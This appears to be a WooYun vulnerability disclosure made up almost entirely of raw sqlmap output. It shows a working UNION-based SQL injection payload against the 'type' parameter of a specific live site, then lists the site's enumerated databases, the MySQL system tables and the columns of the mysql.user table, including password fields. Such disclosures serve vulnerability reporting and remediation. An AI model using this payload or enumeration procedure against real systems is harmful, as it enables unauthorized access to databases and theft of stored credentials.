WooYun.org

---
Place: GET
Parameter: type
    Type: UNION query
    Title: MySQL UNION query (NULL) - 2 columns
    Payload: action=dlt&type=-1 LIMIT 1,1 UNION ALL SELECT NULL, CONCAT(0x3a6270623a,0x614a475952416352534d,0x3a766c783a)#
---
[00:56:52] [INFO] testing MySQL
[00:56:52] [INFO] confirming MySQL
[00:56:53] [INFO] the back-end DBMS is MySQL
web application technology: Apache 2.2.17, PHP 5.3.4
back-end DBMS: MySQL >= 5.0.0
[00:56:53] [INFO] fetching database names
available databases [10]:
[*] db_tracemail
[*] ic_data
[*] ickey
[*] ickey_data
[*] ickeynew
[*] information_schema
[*] mysql
[*] performance_schema
[*] test
[*] union
Place: GET
Parameter: type
    Type: UNION query
    Title: MySQL UNION query (NULL) - 2 columns
    Payload: action=dlt&type=-1 LIMIT 1,1 UNION ALL SELECT NULL, CONCAT(0x3a6270623a,0x614a475952416352534d,0x3a766c783a)#
---
[00:59:05] [INFO] the back-end DBMS is MySQL
web application technology: Apache 2.2.17, PHP 5.3.4
back-end DBMS: MySQL 5
[00:59:05] [INFO] fetching tables for database: 'mysql'
Database: mysql
[24 tables]
+---------------------------+
| columns_priv              |
| db                        |
| event                     |
| func                      |
| general_log               |
| help_category             |
| help_keyword              |
| help_relation             |
| help_topic                |
| host                      |
| ndb_binlog_index          |
| plugin                    |
| proc                      |
| procs_priv                |
| proxies_priv              |
| servers                   |
| slow_log                  |
| tables_priv               |
| time_zone                 |
| time_zone_leap_second     |
| time_zone_name            |
| time_zone_transition      |
| time_zone_transition_type |
| user                      |
+---------------------------+
[01:00:38] [INFO] the back-end DBMS is MySQL
web application technology: Apache 2.2.17, PHP 5.3.4
back-end DBMS: MySQL 5
[01:00:38] [INFO] fetching columns for table 'user' in database 'mysql'
Database: mysql
Table: user
[42 columns]
+------------------------+-----------------------------------+
| Column                 | Type                              |
+------------------------+-----------------------------------+
| Alter_priv             | enum('N','Y')                     |
| Alter_routine_priv     | enum('N','Y')                     |
| authentication_string  | text                              |
| Create_priv            | enum('N','Y')                     |
| Create_routine_priv    | enum('N','Y')                     |
| Create_tablespace_priv | enum('N','Y')                     |
| Create_tmp_table_priv  | enum('N','Y')                     |
| Create_user_priv       | enum('N','Y')                     |
| Create_view_priv       | enum('N','Y')                     |
| Delete_priv            | enum('N','Y')                     |
| Drop_priv              | enum('N','Y')                     |
| Event_priv             | enum('N','Y')                     |
| Execute_priv           | enum('N','Y')                     |
| File_priv              | enum('N','Y')                     |
| Grant_priv             | enum('N','Y')                     |
| Host                   | char(60)                          |
| Index_priv             | enum('N','Y')                     |
| Insert_priv            | enum('N','Y')                     |
| Lock_tables_priv       | enum('N','Y')                     |
| max_connections        | int(11) unsigned                  |
| max_questions          | int(11) unsigned                  |
| max_updates            | int(11) unsigned                  |
| max_user_connections   | int(11) unsigned                  |
| Password               | char(41)                          |
| plugin                 | char(60)                          |
| Process_priv           | enum('N','Y')                     |
| References_priv        | enum('N','Y')                     |
| Reload_priv            | enum('N','Y')                     |
| Repl_client_priv       | enum('N','Y')                     |
| Repl_slave_priv        | enum('N','Y')                     |
| Select_priv            | enum('N','Y')                     |
| Show_db_priv           | enum('N','Y')                     |
| Show_view_priv         | enum('N','Y')                     |
| Shutdown_priv          | enum('N','Y')                     |
| ssl_cipher             | blob                              |
| ssl_type               | enum('','ANY','X509','SPECIFIED') |
| Super_priv             | enum('N','Y')                     |
| Trigger_priv           | enum('N','Y')                     |
| Update_priv            | enum('N','Y')                     |
| User                   | char(16)                          |
| x509_issuer            | blob                              |
| x509_subject           | blob                              |
+------------------------+-----------------------------------+